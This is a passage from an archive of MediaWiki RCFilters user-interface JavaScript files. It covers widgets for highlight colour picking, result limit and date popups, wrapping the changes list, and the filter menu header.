		items: colors.map( function ( color ) {
			// The following classes are used here:
			// * mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-c1
			// * mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-c2
			// * mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-c3
			// * mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-c4
			// * mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-c5
			return new OO.ui.ButtonOptionWidget( {
				icon: color === 'none' ? 'check' : null,
				data: color,
				classes: [
					'mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color',
					'mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect-color-' + color
				],
				framed: false
			} );
		} ),
		classes: [ 'mw-rcfilters-ui-highlightColorPickerWidget-buttonSelect' ]
	} );

	// Event
	this.buttonSelect.connect( this, { choose: 'onChooseColor' } );

	this.$element
		.addClass( 'mw-rcfilters-ui-highlightColorPickerWidget' )
		.append(
			this.$label
				.addClass( 'mw-rcfilters-ui-highlightColorPickerWidget-label' ),
			this.buttonSelect.$element
		);
};

/* Initialization */

OO.inheritClass( HighlightColorPickerWidget, OO.ui.Widget );
OO.mixinClass( HighlightColorPickerWidget, OO.ui.mixin.LabelElement );

/* Events */

/**
 * @event chooseColor
 * @param {string} The chosen color
 *
 * A color has been chosen
 */

/* Methods */

/**
 * Bind the color picker to an item
 *
 * @param {mw.rcfilters.dm.FilterItem} filterItem
 */
HighlightColorPickerWidget.prototype.setFilterItem = function ( filterItem ) {
	if ( this.filterItem ) {
		this.filterItem.disconnect( this );
	}

	this.filterItem = filterItem;
	this.filterItem.connect( this, { update: 'updateUiBasedOnModel' } );
	this.updateUiBasedOnModel();
};

/**
 * Respond to item model update event
 */
HighlightColorPickerWidget.prototype.updateUiBasedOnModel = function () {
	this.selectColor( this.filterItem.getHighlightColor() || 'none' );
};

/**
 * Select the color for this widget
 *
 * @param {string} color Selected color
 */
HighlightColorPickerWidget.prototype.selectColor = function ( color ) {
	var previousItem = this.buttonSelect.findItemFromData( this.currentSelection ),
		selectedItem = this.buttonSelect.findItemFromData( color );

	if ( this.currentSelection !== color ) {
		this.currentSelection = color;

		this.buttonSelect.selectItem( selectedItem );
		if ( previousItem ) {
			previousItem.setIcon( null );
		}

		if ( selectedItem ) {
			selectedItem.setIcon( 'check' );
		}
	}
};

HighlightColorPickerWidget.prototype.onChooseColor = function ( button ) {
	var color = button.data;
	if ( color === 'none' ) {
		this.controller.clearHighlightColor( this.filterItem.getName() );
	} else {
		this.controller.setHighlightColor( this.filterItem.getName(), color );
	}
	this.emit( 'chooseColor', color );
};

module.exports = HighlightColorPickerWidget;
mediawiki.rcfilters/ui/ChangesLimitAndDateButtonWidget.js000066600000014042151335045660017623 0ustar00var ChangesLimitPopupWidget = require( './ChangesLimitPopupWidget.js' ),
	DatePopupWidget = require( './DatePopupWidget.js' ),
	ChangesLimitAndDateButtonWidget;

/**
 * Widget defining the button controlling the popup for the number of results
 *
 * @class mw.rcfilters.ui.ChangesLimitAndDateButtonWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {Object} [config] Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 */
ChangesLimitAndDateButtonWidget = function MwRcfiltersUiChangesLimitWidget( controller, model, config ) {
	config = config || {};

	// Parent
	ChangesLimitAndDateButtonWidget.parent.call( this, config );

	this.controller = controller;
	this.model = model;

	this.$overlay = config.$overlay || this.$element;

	this.button = null;
	this.limitGroupModel = null;
	this.groupByPageItemModel = null;
	this.daysGroupModel = null;

	this.model.connect( this, {
		initialize: 'onModelInitialize'
	} );

	this.$element
		.addClass( 'mw-rcfilters-ui-changesLimitAndDateButtonWidget' );
};

/* Initialization */

OO.inheritClass( ChangesLimitAndDateButtonWidget, OO.ui.Widget );

/**
 * Respond to model initialize event
 */
ChangesLimitAndDateButtonWidget.prototype.onModelInitialize = function () {
	var selectedItem, currentValue, datePopupWidget,
		displayGroupModel = this.model.getGroup( 'display' );

	this.limitGroupModel = this.model.getGroup( 'limit' );
	this.groupByPageItemModel = displayGroupModel.getItemByParamName( 'enhanced' );
	this.daysGroupModel = this.model.getGroup( 'days' );

	// HACK: We need the model to be ready before we populate the button
	// and the widget, because we require the filter items for the
	// limit and their events. This addition is only done after the
	// model is initialized.
	// Note: This will be fixed soon!
	if ( this.limitGroupModel && this.daysGroupModel ) {
		this.changesLimitPopupWidget = new ChangesLimitPopupWidget(
			this.limitGroupModel,
			this.groupByPageItemModel
		);

		datePopupWidget = new DatePopupWidget(
			this.daysGroupModel,
			{
				label: mw.msg( 'rcfilters-date-popup-title' )
			}
		);

		selectedItem = this.limitGroupModel.findSelectedItems()[ 0 ];
		currentValue = ( selectedItem && selectedItem.getLabel() ) ||
			mw.language.convertNumber( this.limitGroupModel.getDefaultParamValue() );

		this.button = new OO.ui.PopupButtonWidget( {
			icon: 'settings',
			indicator: 'down',
			label: mw.msg( 'rcfilters-limit-and-date-label', currentValue ),
			$overlay: this.$overlay,
			popup: {
				width: 300,
				padded: false,
				anchor: false,
				align: 'backwards',
				$autoCloseIgnore: this.$overlay,
				$content: $( '<div>' ).append(
					// TODO: Merge ChangesLimitPopupWidget with DatePopupWidget into one common widget
					this.changesLimitPopupWidget.$element,
					datePopupWidget.$element
				)
			}
		} );

		this.button.popup.connect( this, { ready: 'onPopupInitialized' } );
		this.button.popup.connect( this, { closing: 'onPopupClosing' } );
		this.button.popup.$element.attr( 'aria-label',
			mw.msg( 'rcfilters-limit-and-date-popup-dialog-aria-label' )
		);
		this.updateButtonLabel();

		// Events
		this.limitGroupModel.connect( this, { update: 'updateButtonLabel' } );
		this.daysGroupModel.connect( this, { update: 'updateButtonLabel' } );
		this.changesLimitPopupWidget.connect( this, {
			limit: 'onPopupLimit',
			groupByPage: 'onPopupGroupByPage',
			groupByPageUserClick: 'onPopupGroupByPageUserClick'
		} );
		datePopupWidget.connect( this, { days: 'onPopupDays' } );

		this.$element.append( this.button.$element );
	}
};

/**
 * Respond to popup initialized event
 *
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupInitialized = function () {
	this.changesLimitPopupWidget.$element.find( '*[tabindex]' ).first().trigger( 'focus' );
};

/**
 * Respond to popup closing event
 *
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupClosing = function () {
	this.button.$button.trigger( 'focus' );
};

/**
 * Respond to popup limit change event
 *
 * @param {string} filterName Chosen filter name
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupLimit = function ( filterName ) {
	var item = this.limitGroupModel.getItemByName( filterName );

	this.controller.toggleFilterSelect( filterName, true );
	this.controller.updateLimitDefault( item.getParamName() );
	this.button.popup.toggle( false );
};

/**
 * Respond to popup limit change event
 *
 * @param {boolean} isGrouped The result set is grouped by page
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupGroupByPage = function ( isGrouped ) {
	this.controller.toggleFilterSelect( this.groupByPageItemModel.getName(), isGrouped );
	this.button.popup.toggle( false );
};

/**
 * Respond to popup request to save the group by page setting in preferences
 *
 * @param {boolean} isSelected The state of the group by page checkbox
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupGroupByPageUserClick = function ( isSelected ) {
	this.controller.updateGroupByPageDefault( isSelected );
};

/**
 * Respond to popup limit change event
 *
 * @param {string} filterName Chosen filter name
 */
ChangesLimitAndDateButtonWidget.prototype.onPopupDays = function ( filterName ) {
	var item = this.daysGroupModel.getItemByName( filterName );

	this.controller.toggleFilterSelect( filterName, true );
	this.controller.updateDaysDefault( item.getParamName() );
	this.button.popup.toggle( false );
};

/**
 * Respond to limit choose event
 */
ChangesLimitAndDateButtonWidget.prototype.updateButtonLabel = function () {
	var message,
		limit = this.limitGroupModel.findSelectedItems()[ 0 ],
		label = limit && limit.getLabel(),
		days = this.daysGroupModel.findSelectedItems()[ 0 ];

	// Update the label
	if ( label && days ) {
		message = mw.msg( 'rcfilters-limit-and-date-label', label,
			mw.msg(
				Number( days.getParamName() ) < 1 ?
					'rcfilters-days-show-hours' :
					'rcfilters-days-show-days',
				days.getLabel()
			)
		);
		this.button.setLabel( message );
	}
};

module.exports = ChangesLimitAndDateButtonWidget;
mediawiki.rcfilters/ui/ChangesListWrapperWidget.js000066600000030502151335045660016403 0ustar00/**
 * List of changes
 *
 * @class mw.rcfilters.ui.ChangesListWrapperWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersViewModel View model
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListViewModel View model
 * @param {mw.rcfilters.Controller} controller
 * @param {jQuery} $changesListRoot Root element of the changes list to attach to
 * @param {Object} [config] Configuration object
 */
var ChangesListWrapperWidget = function MwRcfiltersUiChangesListWrapperWidget(
	filtersViewModel,
	changesListViewModel,
	controller,
	$changesListRoot,
	config
) {
	config = $.extend( {}, config, {
		$element: $changesListRoot
	} );

	// Parent
	ChangesListWrapperWidget.parent.call( this, config );

	this.filtersViewModel = filtersViewModel;
	this.changesListViewModel = changesListViewModel;
	this.controller = controller;

	// Events
	this.filtersViewModel.connect( this, {
		itemUpdate: 'onItemUpdate',
		highlightChange: 'onHighlightChange'
	} );
	this.changesListViewModel.connect( this, {
		invalidate: 'onModelInvalidate',
		update: 'onModelUpdate'
	} );

	this.$element
		.addClass( 'mw-rcfilters-ui-changesListWrapperWidget' )
		// We handle our own display/hide of the empty results message
		// We keep the timeout class here and remove it later, since at this
		// stage it is still needed to identify that the timeout occurred.
		.removeClass( 'mw-changeslist-empty' );
};

/* Initialization */

OO.inheritClass( ChangesListWrapperWidget, OO.ui.Widget );

/**
 * Respond to the highlight feature being toggled on and off
 *
 * @param {boolean} highlightEnabled
 */
ChangesListWrapperWidget.prototype.onHighlightChange = function ( highlightEnabled ) {
	if ( highlightEnabled ) {
		this.applyHighlight();
	} else {
		this.clearHighlight();
	}
};

/**
 * Respond to a filter item model update
 */
ChangesListWrapperWidget.prototype.onItemUpdate = function () {
	if ( this.controller.isInitialized() && this.filtersViewModel.isHighlightEnabled() ) {
		// this.controller.isInitialized() is still false during page load,
		// we don't want to clear/apply highlights at this stage.
		this.clearHighlight();
		this.applyHighlight();
	}
};

/**
 * Respond to changes list model invalidate
 */
ChangesListWrapperWidget.prototype.onModelInvalidate = function () {
	$( document.body ).addClass( 'mw-rcfilters-ui-loading' );
};

/**
 * Respond to changes list model update
 *
 * @param {jQuery|string} $changesListContent The content of the updated changes list
 * @param {jQuery} $fieldset The content of the updated fieldset
 * @param {string} noResultsDetails Type of no result error
 * @param {boolean} isInitialDOM Whether $changesListContent is the existing (already attached) DOM
 * @param {boolean} from Timestamp of the new changes
 */
ChangesListWrapperWidget.prototype.onModelUpdate = function (
	$changesListContent, $fieldset, noResultsDetails, isInitialDOM, from
) {
	var conflictItem,
		$message = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-results' ),
		isEmpty = $changesListContent === 'NO_RESULTS',
		// For enhanced mode, we have to load this modules, which is
		// not loaded for the 'regular' mode in the backend
		loaderPromise = mw.user.options.get( 'usenewrc' ) && !OO.ui.isMobile() ?
			mw.loader.using( [ 'mediawiki.special.changeslist.enhanced' ] ) :
			$.Deferred().resolve(),
		widget = this;

	this.$element.toggleClass( 'mw-changeslist', !isEmpty );
	if ( isEmpty ) {
		this.$element.empty();

		if ( this.filtersViewModel.hasConflict() ) {
			conflictItem = this.filtersViewModel.getFirstConflictedItem();

			$message
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-results-conflict' )
						.text( mw.msg( 'rcfilters-noresults-conflict' ) ),
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-results-message' )
						// TODO: Document possible messages
						// eslint-disable-next-line mediawiki/msg-doc
						.text( mw.msg( conflictItem.getCurrentConflictResultMessage() ) )
				);
		} else {
			$message
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-results-noresult' )
						// The following messages can be used here:
						// * recentchanges-noresult
						// * recentchanges-timeout
						// * recentchanges-network
						// * recentchanges-notargetpage
						// * allpagesbadtitle
						.html( mw.message( this.getMsgKeyForNoResults( noResultsDetails ) ).parse() )
				);

			// remove all classes matching mw-changeslist-*
			// eslint-disable-next-line mediawiki/class-doc
			this.$element.removeClass( function ( elementIndex, allClasses ) {
				return allClasses
					.split( ' ' )
					.filter( function ( className ) {
						return className.indexOf( 'mw-changeslist-' ) === 0;
					} )
					.join( ' ' );
			} );
		}

		this.$element.append( $message );
	} else {
		if ( !isInitialDOM ) {
			this.$element.empty().append( $changesListContent );

			if ( from ) {
				this.emphasizeNewChanges( from );
			}
		}

		// Apply highlight
		this.applyHighlight();

	}

	this.$element.prepend( $( '<div>' ).addClass( 'mw-changeslist-overlay' ) );

	loaderPromise.done( function () {
		if ( !isInitialDOM && !isEmpty ) {
			// Make sure enhanced RC re-initializes correctly
			mw.hook( 'wikipage.content' ).fire( widget.$element );
		}

		$( document.body ).removeClass( 'mw-rcfilters-ui-loading' );
	} );
};

/**
 * Toggles overlay class on changes list
 *
 * @param {boolean} isVisible True if overlay should be visible
 */
ChangesListWrapperWidget.prototype.toggleOverlay = function ( isVisible ) {
	this.$element.toggleClass( 'mw-rcfilters-ui-changesListWrapperWidget--overlaid', isVisible );
};

/**
 * Map a reason for having no results to its message key
 *
 * @param {string} reason One of the NO_RESULTS_* "constant" that represent
 *   a reason for having no results
 * @return {string} Key for the message that explains why there is no results in this case
 */
ChangesListWrapperWidget.prototype.getMsgKeyForNoResults = function ( reason ) {
	var reasonMsgKeyMap = {
		NO_RESULTS_NORMAL: 'recentchanges-noresult',
		NO_RESULTS_TIMEOUT: 'recentchanges-timeout',
		NO_RESULTS_NETWORK_ERROR: 'recentchanges-network',
		NO_RESULTS_NO_TARGET_PAGE: 'recentchanges-notargetpage',
		NO_RESULTS_INVALID_TARGET_PAGE: 'allpagesbadtitle'
	};
	return reasonMsgKeyMap[ reason ];
};

/**
 * Emphasize the elements (or groups) newer than the 'from' parameter
 *
 * @param {string} from Anything newer than this is considered 'new'
 */
ChangesListWrapperWidget.prototype.emphasizeNewChanges = function ( from ) {
	var $firstNew,
		$indicator,
		$newChanges = $( [] ),
		selector = this.inEnhancedMode() ?
			'table.mw-enhanced-rc[data-mw-ts]' :
			'li[data-mw-ts]',
		$set = this.$element.find( selector ),
		length = $set.length;

	$set.each( function ( index ) {
		var $this = $( this ),
			ts = $this.data( 'mw-ts' );

		if ( ts >= from ) {
			$newChanges = $newChanges.add( $this );
			$firstNew = $this;

			// guards against putting the marker after the last element
			if ( index === ( length - 1 ) ) {
				$firstNew = null;
			}
		}
	} );

	if ( $firstNew ) {
		$indicator = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-previousChangesIndicator' );

		$firstNew.after( $indicator );
	}

	// FIXME: Use CSS transition
	// eslint-disable-next-line no-jquery/no-fade
	$newChanges
		.hide()
		.fadeIn( 1000 );
};

/**
 * In enhanced mode, we need to check whether the grouped results all have the
 * same active highlights in order to see whether the "parent" of the group should
 * be grey or highlighted normally.
 *
 * This is called every time highlights are applied.
 */
ChangesListWrapperWidget.prototype.updateEnhancedParentHighlight = function () {
	var activeHighlightClasses,
		$enhancedTopPageCell = this.$element.find( 'table.mw-enhanced-rc' );

	activeHighlightClasses = this.filtersViewModel.getCurrentlyUsedHighlightColors().map( function ( color ) {
		return 'mw-rcfilters-highlight-color-' + color;
	} );

	// Go over top pages and their children, and figure out if all sub-pages have the
	// same highlights between themselves. If they do, the parent should be highlighted
	// with all colors. If classes are different, the parent should receive a grey
	// background
	$enhancedTopPageCell.each( function () {
		var firstChildClasses, $rowsWithDifferentHighlights,
			$table = $( this );

		// Collect the relevant classes from the first nested child
		firstChildClasses = activeHighlightClasses.filter( function ( className ) {
			// eslint-disable-next-line no-jquery/no-class-state
			return $table.find( 'tr' ).eq( 2 ).hasClass( className );
		} );
		// Filter the non-head rows and see if they all have the same classes
		// to the first row
		$rowsWithDifferentHighlights = $table.find( 'tr:not(:first-child)' ).filter( function () {
			var classesInThisRow,
				$this = $( this );

			classesInThisRow = activeHighlightClasses.filter( function ( className ) {
				// eslint-disable-next-line no-jquery/no-class-state
				return $this.hasClass( className );
			} );

			return !OO.compare( firstChildClasses, classesInThisRow );
		} );

		// If classes are different, tag the row for using grey color
		$table.find( 'tr:first-child' )
			.toggleClass( 'mw-rcfilters-ui-changesListWrapperWidget-enhanced-grey', $rowsWithDifferentHighlights.length > 0 );
	} );
};

/**
 * @return {boolean} Whether the changes are grouped by page
 */
ChangesListWrapperWidget.prototype.inEnhancedMode = function () {
	var uri = new mw.Uri();
	return ( uri.query.enhanced !== undefined && Number( uri.query.enhanced ) ) ||
		( uri.query.enhanced === undefined && Number( mw.user.options.get( 'usenewrc' ) ) );
};

/**
 * Apply color classes based on filters highlight configuration
 */
ChangesListWrapperWidget.prototype.applyHighlight = function () {
	if ( !this.filtersViewModel.isHighlightEnabled() ) {
		return;
	}

	this.filtersViewModel.getHighlightedItems().forEach( function ( filterItem ) {
		var $elements = this.$element.find( '.' + filterItem.getCssClass() );

		// Add highlight class to all highlighted list items
		// The following classes are used here:
		// * mw-rcfilters-highlight-color-c1
		// * mw-rcfilters-highlight-color-c2
		// * mw-rcfilters-highlight-color-c3
		// * mw-rcfilters-highlight-color-c4
		// * mw-rcfilters-highlight-color-c5
		$elements
			.addClass(
				'mw-rcfilters-highlighted ' +
				'mw-rcfilters-highlight-color-' + filterItem.getHighlightColor()
			);

		// Track the filters for each item in .data( 'highlightedFilters' )
		$elements.each( function () {
			var filters = $( this ).data( 'highlightedFilters' );
			if ( !filters ) {
				filters = [];
				$( this ).data( 'highlightedFilters', filters );
			}
			if ( filters.indexOf( filterItem.getLabel() ) === -1 ) {
				filters.push( filterItem.getLabel() );
			}
		} );
	}.bind( this ) );
	// Apply a title to each highlighted item, with a list of filters
	this.$element.find( '.mw-rcfilters-highlighted' ).each( function () {
		var filters = $( this ).data( 'highlightedFilters' );

		if ( filters && filters.length ) {
			$( this ).attr( 'title', mw.msg(
				'rcfilters-highlighted-filters-list',
				filters.join( mw.msg( 'comma-separator' ) )
			) );
		}

	} );
	if ( this.inEnhancedMode() ) {
		this.updateEnhancedParentHighlight();
	}

	// Turn on highlights
	this.$element.addClass( 'mw-rcfilters-ui-changesListWrapperWidget-highlighted' );
};

/**
 * Remove all color classes
 */
ChangesListWrapperWidget.prototype.clearHighlight = function () {
	// Remove highlight classes
	mw.rcfilters.HighlightColors.forEach( function ( color ) {
		// The following classes are used here:
		// * mw-rcfilters-highlight-color-c1
		// * mw-rcfilters-highlight-color-c2
		// * mw-rcfilters-highlight-color-c3
		// * mw-rcfilters-highlight-color-c4
		// * mw-rcfilters-highlight-color-c5
		this.$element
			.find( '.mw-rcfilters-highlight-color-' + color )
			.removeClass( 'mw-rcfilters-highlight-color-' + color );
	}.bind( this ) );

	this.$element.find( '.mw-rcfilters-highlighted' )
		.removeAttr( 'title' )
		.removeData( 'highlightedFilters' )
		.removeClass( 'mw-rcfilters-highlighted' );

	// Remove grey from enhanced rows
	this.$element.find( '.mw-rcfilters-ui-changesListWrapperWidget-enhanced-grey' )
		.removeClass( 'mw-rcfilters-ui-changesListWrapperWidget-enhanced-grey' );

	// Turn off highlights
	this.$element.removeClass( 'mw-rcfilters-ui-changesListWrapperWidget-highlighted' );
};

module.exports = ChangesListWrapperWidget;
mediawiki.rcfilters/ui/FilterMenuHeaderWidget.js000066600000015743151335045660016033 0ustar00/**
 * Menu header for the RCFilters filters menu
 *
 * @class mw.rcfilters.ui.FilterMenuHeaderWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {Object} config Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 */
var FilterMenuHeaderWidget = function MwRcfiltersUiFilterMenuHeaderWidget( controller, model, config ) {
	config = config || {};

	this.controller = controller;
	this.model = model;
	this.$overlay = config.$overlay || this.$element;

	// Parent
	FilterMenuHeaderWidget.parent.call( this, config );
	OO.ui.mixin.LabelElement.call( this, $.extend( {
		label: mw.msg( 'rcfilters-filterlist-title' ),
		$label: $( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-title' )
	}, config ) );

	// "Back" to default view button
	this.backButton = new OO.ui.ButtonWidget( {
		icon: 'previous',
		framed: false,
		title: mw.msg( 'rcfilters-view-return-to-default-tooltip' ),
		classes: [ 'mw-rcfilters-ui-filterMenuHeaderWidget-backButton' ]
	} );
	this.backButton.toggle( this.model.getCurrentView() !== 'default' );

	// Help icon for Tagged edits
	this.helpIcon = new OO.ui.ButtonWidget( {
		icon: 'helpNotice',
		framed: false,
		title: mw.msg( 'rcfilters-view-tags-help-icon-tooltip' ),
		classes: [ 'mw-rcfilters-ui-filterMenuHeaderWidget-helpIcon' ],
		href: mw.util.getUrl( 'Special:Tags' ),
		target: '_blank'
	} );
	this.helpIcon.toggle( this.model.getCurrentView() === 'tags' );

	// Highlight button
	this.highlightButton = new OO.ui.ToggleButtonWidget( {
		icon: 'highlight',
		label: mw.msg( 'rcfilters-highlightbutton-title' ),
		classes: [ 'mw-rcfilters-ui-filterMenuHeaderWidget-hightlightButton' ]
	} );

	// Invert buttons
	this.invertTagsButton = new OO.ui.ToggleButtonWidget( {
		icon: '',
		classes: [ 'mw-rcfilters-ui-filterMenuHeaderWidget-invertTagsButton' ]
	} );
	this.invertTagsButton.toggle( this.model.getCurrentView() === 'tags' );
	this.invertNamespacesButton = new OO.ui.ToggleButtonWidget( {
		icon: '',
		classes: [ 'mw-rcfilters-ui-filterMenuHeaderWidget-invertNamespacesButton' ]
	} );
	this.invertNamespacesButton.toggle( this.model.getCurrentView() === 'namespaces' );

	// Events
	this.backButton.connect( this, { click: 'onBackButtonClick' } );
	this.highlightButton
		.connect( this, { click: 'onHighlightButtonClick' } );
	this.invertTagsButton
		.connect( this, { click: 'onInvertTagsButtonClick' } );
	this.invertNamespacesButton
		.connect( this, { click: 'onInvertNamespacesButtonClick' } );
	this.model.connect( this, {
		highlightChange: 'onModelHighlightChange',
		searchChange: 'onModelSearchChange',
		initialize: 'onModelInitialize'
	} );
	this.view = this.model.getCurrentView();

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-table' )
				.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.append(
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header-back' )
								.append( this.backButton.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header-title' )
								.append( this.$label, this.helpIcon.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header-invert' )
								.append( this.invertTagsButton.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header-invert' )
								.append( this.invertNamespacesButton.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterMenuHeaderWidget-header-highlight' )
								.append( this.highlightButton.$element )
						)
				)
		);
};

/* Initialization */

OO.inheritClass( FilterMenuHeaderWidget, OO.ui.Widget );
OO.mixinClass( FilterMenuHeaderWidget, OO.ui.mixin.LabelElement );

/* Methods */

/**
 * Respond to model initialization event
 *
 * Note: need to wait for initialization before getting the invertModel
 * and registering its update event. Creating all the models before the UI
 * would help with that.
 */
FilterMenuHeaderWidget.prototype.onModelInitialize = function () {
	this.invertNamespacesModel = this.model.getNamespacesInvertModel();
	this.updateInvertNamespacesButton();
	this.invertNamespacesModel.connect( this, { update: 'updateInvertNamespacesButton' } );

	this.invertTagsModel = this.model.getTagsInvertModel();
	this.updateInvertTagsButton();
	this.invertTagsModel.connect( this, { update: 'updateInvertTagsButton' } );
};

/**
 * Respond to model update event
 */
FilterMenuHeaderWidget.prototype.onModelSearchChange = function () {
	var currentView = this.model.getCurrentView();

	if ( this.view !== currentView ) {
		this.setLabel( this.model.getViewTitle( currentView ) );

		this.invertTagsButton.toggle( currentView === 'tags' );
		this.invertNamespacesButton.toggle( currentView === 'namespaces' );
		this.backButton.toggle( currentView !== 'default' );
		this.helpIcon.toggle( currentView === 'tags' );
		this.view = currentView;
	}
};

/**
 * Respond to model highlight change event
 *
 * @param {boolean} highlightEnabled Highlight is enabled
 */
FilterMenuHeaderWidget.prototype.onModelHighlightChange = function ( highlightEnabled ) {
	this.highlightButton.setActive( highlightEnabled );
};

/**
 * Update the state of the tags invert button
 */
FilterMenuHeaderWidget.prototype.updateInvertTagsButton = function () {
	this.invertTagsButton.setActive( this.invertTagsModel.isSelected() );
	this.invertTagsButton.setLabel(
		this.invertTagsModel.isSelected() ?
			mw.msg( 'rcfilters-exclude-button-on' ) :
			mw.msg( 'rcfilters-exclude-button-off' )
	);
};

/**
 * Update the state of the namespaces invert button
 */
FilterMenuHeaderWidget.prototype.updateInvertNamespacesButton = function () {
	this.invertNamespacesButton.setActive( this.invertNamespacesModel.isSelected() );
	this.invertNamespacesButton.setLabel(
		this.invertNamespacesModel.isSelected() ?
			mw.msg( 'rcfilters-exclude-button-on' ) :
			mw.msg( 'rcfilters-exclude-button-off' )
	);
};

FilterMenuHeaderWidget.prototype.onBackButtonClick = function () {
	this.controller.switchView( 'default' );
};

/**
 * Respond to highlight button click
 */
FilterMenuHeaderWidget.prototype.onHighlightButtonClick = function () {
	this.controller.toggleHighlight();
};

/**
 * Respond to invert tags button click
 */
FilterMenuHeaderWidget.prototype.onInvertTagsButtonClick = function () {
	this.controller.toggleInvertedTags();
};

/**
 * Respond to invert namespaces button click
 */
FilterMenuHeaderWidget.prototype.onInvertNamespacesButtonClick = function () {
	this.controller.toggleInvertedNamespaces();
};

module.exports = FilterMenuHeaderWidget;
mediawiki.rcfilters/ui/RclToOrFromWidget.js000066600000004123151335045660015006 0ustar00/**
 * Widget to select to view changes that link TO or FROM the target page
 * on Special:RecentChangesLinked (AKA Related Changes)
 *
 * @class mw.rcfilters.ui.RclToOrFromWidget
 * @extends OO.ui.DropdownWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.FilterItem} showLinkedToModel model this widget is bound to
 * @param {Object} [config] Configuration object
 */
var RclToOrFromWidget = function MwRcfiltersUiRclToOrFromWidget(
	controller, showLinkedToModel, config
) {
	config = config || {};

	this.showLinkedFrom = new OO.ui.MenuOptionWidget( {
		data: 'from', // default (showlinkedto=0)
		label: new OO.ui.HtmlSnippet( mw.msg( 'rcfilters-filter-showlinkedfrom-option-label' ) )
	} );
	this.showLinkedTo = new OO.ui.MenuOptionWidget( {
		data: 'to', // showlinkedto=1
		label: new OO.ui.HtmlSnippet( mw.msg( 'rcfilters-filter-showlinkedto-option-label' ) )
	} );

	// Parent
	RclToOrFromWidget.parent.call( this, $.extend( {
		classes: [ 'mw-rcfilters-ui-rclToOrFromWidget' ],
		menu: { items: [ this.showLinkedFrom, this.showLinkedTo ] }
	}, config ) );

	this.controller = controller;
	this.model = showLinkedToModel;

	this.getMenu().connect( this, { choose: 'onUserChooseItem' } );
	this.model.connect( this, { update: 'onModelUpdate' } );

	// force an initial update of the component based on the state
	this.onModelUpdate();
};

/* Initialization */

OO.inheritClass( RclToOrFromWidget, OO.ui.DropdownWidget );

/* Methods */

/**
 * Respond to the user choosing an item in the menu
 *
 * @param {OO.ui.MenuOptionWidget} chosenItem
 */
RclToOrFromWidget.prototype.onUserChooseItem = function ( chosenItem ) {
	this.controller.setShowLinkedTo( chosenItem.getData() === 'to' );
};

/**
 * Respond to model update
 */
RclToOrFromWidget.prototype.onModelUpdate = function () {
	this.getMenu().selectItem(
		this.model.isSelected() ?
			this.showLinkedTo :
			this.showLinkedFrom
	);
	this.setLabel( mw.msg(
		this.model.isSelected() ?
			'rcfilters-filter-showlinkedto-label' :
			'rcfilters-filter-showlinkedfrom-label'
	) );
};

module.exports = RclToOrFromWidget;
mediawiki.rcfilters/ui/FilterMenuOptionWidget.js000066600000005023151335045660016101 0ustar00var ItemMenuOptionWidget = require( './ItemMenuOptionWidget.js' ),
	FilterMenuOptionWidget;

/**
 * A widget representing a single toggle filter
 *
 * @class mw.rcfilters.ui.FilterMenuOptionWidget
 * @extends mw.rcfilters.ui.ItemMenuOptionWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersViewModel
 * @param {mw.rcfilters.dm.FilterItem|null} invertModel
 * @param {mw.rcfilters.dm.FilterItem} itemModel Filter item model
 * @param {mw.rcfilters.ui.HighlightPopupWidget} highlightPopup Shared highlight color picker popup
 * @param {Object} config Configuration object
 */
FilterMenuOptionWidget = function MwRcfiltersUiFilterMenuOptionWidget(
	controller, filtersViewModel, invertModel, itemModel, highlightPopup, config
) {
	config = config || {};

	this.controller = controller;
	this.invertModel = invertModel;
	this.model = itemModel;

	// Parent
	FilterMenuOptionWidget.parent.call( this, controller, filtersViewModel, this.invertModel, itemModel, highlightPopup, config );

	// Event
